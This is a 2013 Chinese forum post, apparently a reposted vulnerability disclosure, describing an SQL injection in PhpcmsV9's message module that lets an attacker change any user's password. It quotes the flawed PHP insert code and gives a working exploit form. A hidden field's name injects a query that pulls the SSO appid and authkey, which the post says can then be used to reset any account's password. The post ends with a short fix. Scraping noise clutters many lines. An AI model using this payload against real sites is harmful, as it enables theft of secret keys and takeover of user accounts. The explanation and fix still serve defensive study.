找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2090|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:& I: W# U7 Q2 B: @4 K  w5 y, ^, ?& v. h

  P6 y, }6 ^! Z' V! [/ j( q第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
  J# f6 o9 g" F' ]- u+ P& C# u4 C) R
明天再更新下一个漏洞。
% E+ b1 u9 C2 L$ A0 H详细说明:
8 v0 }7 E/ z9 U7 c$ a8 q3 g+ J在/phpcms9/phpcms/modules/message/index.php中有代码如下:
1 p' q$ x: n8 X+ Y' p+ D) W6 u0 h+ n. m$ ]
$messageid = $this->message_db->insert($_POST['info'],true);8 x0 d/ L* X2 S- Q0 `5 T- p% o
, F3 a0 z  {$ u

5 H$ \7 {+ A$ Pinsert方法是key value的,代码如下:
1 i/ q/ W! M0 b7 Y% n* R
  M7 ?0 \5 I5 W% epublic function insert($data, $table, $return_insert_id = false, $replace = false) {% `3 M, u# H, q$ u1 F2 b) _$ i
                if(!is_array( $data ) || $table == '' || count($data) == 0) {5 f, a7 D! L! n' X
                        return false;4 L- Y( E. F" b
                }
8 n" y" B0 E& C. m% u               
- g- x0 H1 D3 x  C% r; x# L                $fielddata = array_keys($data);  _" \1 X: ?6 M3 f6 s8 X
                $valuedata = array_values($data);4 S0 b0 C4 i( ~& B
                array_walk($fielddata, array($this, 'add_special_char'));
% m  p% H# k+ t" A0 ~8 {4 M                array_walk($valuedata, array($this, 'escape_string'));
( C' e& Q! B3 o1 F8 ^               
. C6 O. Y  O  v                $field = implode (',', $fielddata);7 Y' z) d' n) e' b# N2 j) v
                $value = implode (',', $valuedata);* ^# o% }$ _7 }1 q; q9 }9 O
8 R: P7 h+ l- R; d! l  X2 d, E1 q" Z
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';/ C1 _. t" \3 ?2 A5 c' d
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
$ q7 o" p! O4 p8 x3 L5 M: n                $return = $this->execute($sql);+ r+ p  v: c9 p7 E* M- x" q" ], D
                return $return_insert_id ? $this->insert_id() : $return;
* Y) i' W+ \! G        }
6 P# `% u1 ?$ I1 j& D& F0 u$ O. P
: p; J3 U: V& C8 G: a/ |4 ~
1 y* C! u0 d& j/ Q, }. s1 F9 s8 E嗯,很遗憾的是+ m. t7 E. i  f8 s

8 ~* B1 ~+ G$ t' `$ narray_walk($fielddata, array($this, 'add_special_char'));, f, e/ @# Z$ W

: I4 L4 P" y' y( H, m& n. P
& V. F3 P8 d- t9 h0 I1 }; g4 z中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
4 N& P1 l' \4 `; F) Q; [+ k0 m4 M, d7 {  _- d
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。* b9 C5 |( d/ e% C; P9 `

6 P: d1 H0 a5 f5 ?* G漏洞证明:
* J( X2 _; O8 ?: ?. B读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。# ^% X- c/ I" k+ c: J/ U5 y
) w/ r$ v, y$ V+ y' a$ j

" _3 L3 b9 E' q表单如下:用户名什么的得自己改一改。
" E: E2 A; M9 n  |1 a<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">, A& f: R3 {* n& k$ w( [7 W
<table width="100%" cellspacing="0" class="table_form">  g+ C, s5 K, Q0 t3 Q, X! n  d" B3 N8 A
<tr>& P  q0 B# \8 R8 ]
<th>标 题:</th>
+ X. A9 I8 W( Y. t<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
4 u7 A6 b" O. \: B; U8 p</tr> ; c/ M6 K# s; ]3 l4 _# R
<tr>% i' s$ w. o+ w# [! d, x, Z( [
<th>内 容:</th>
# T' T. q/ t& r2 ~& J3 e<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>2 V/ q6 V/ j: k
</tr>2 h- @4 }5 S. b& R3 P1 P; t$ t
<input type="hidden" name="info[replyid]" value="2" />
# J' g  y! P% h# {% j9 p/ W<input type="hidden" name="info[send_to_id]" value="cc" /> : Z8 E; g! [" l7 m) p
<input type="hidden" name="info[send_from_id]" value="hh">
0 O! @3 p5 p& t; ~<!-- 漏洞的利用重点在这里开始 -->% m$ |+ A# u* W+ ^: s& U8 q% W; J
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> $ r; G- H4 p2 }4 A" h% j
<!-- 漏洞的利用重点在这里结束 -->
' l4 S" A, I; U# f2 @' a  |+ S* T<tr>7 O# Q: y2 y7 Z6 H
<th>验证码:</th>
# X- F* Y# Z  [& q( e. C0 I<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
2 b! Q( b: o& |6 V* L- e$ U, R# T</tr>
- |$ b8 f) m: }& @1 h<tr>
$ D; f* z" p+ V! F<td></td>
* W7 [( k% m. t<td colspan="2"><label>
, d, A8 U5 y4 P# I3 S+ u. s<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
( F% G' j) k' y$ H</label></td>6 ~5 J' l% c1 w
</tr>9 w* y* K* [8 R* [5 x
</table>; Y( e6 h2 m9 |3 U0 X8 K2 T- `
</form>/ G. H; J" O3 ?
在add_special_char函数内对key做过滤就可以了。
8 Q& C" R& N7 k
6 l6 Y3 `, u5 v0 ^1 f$ F
! x  L8 y+ _) f+ c! E" m2 h& N: t
7 O7 O& S8 h* j2 K, t" z, g' F

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表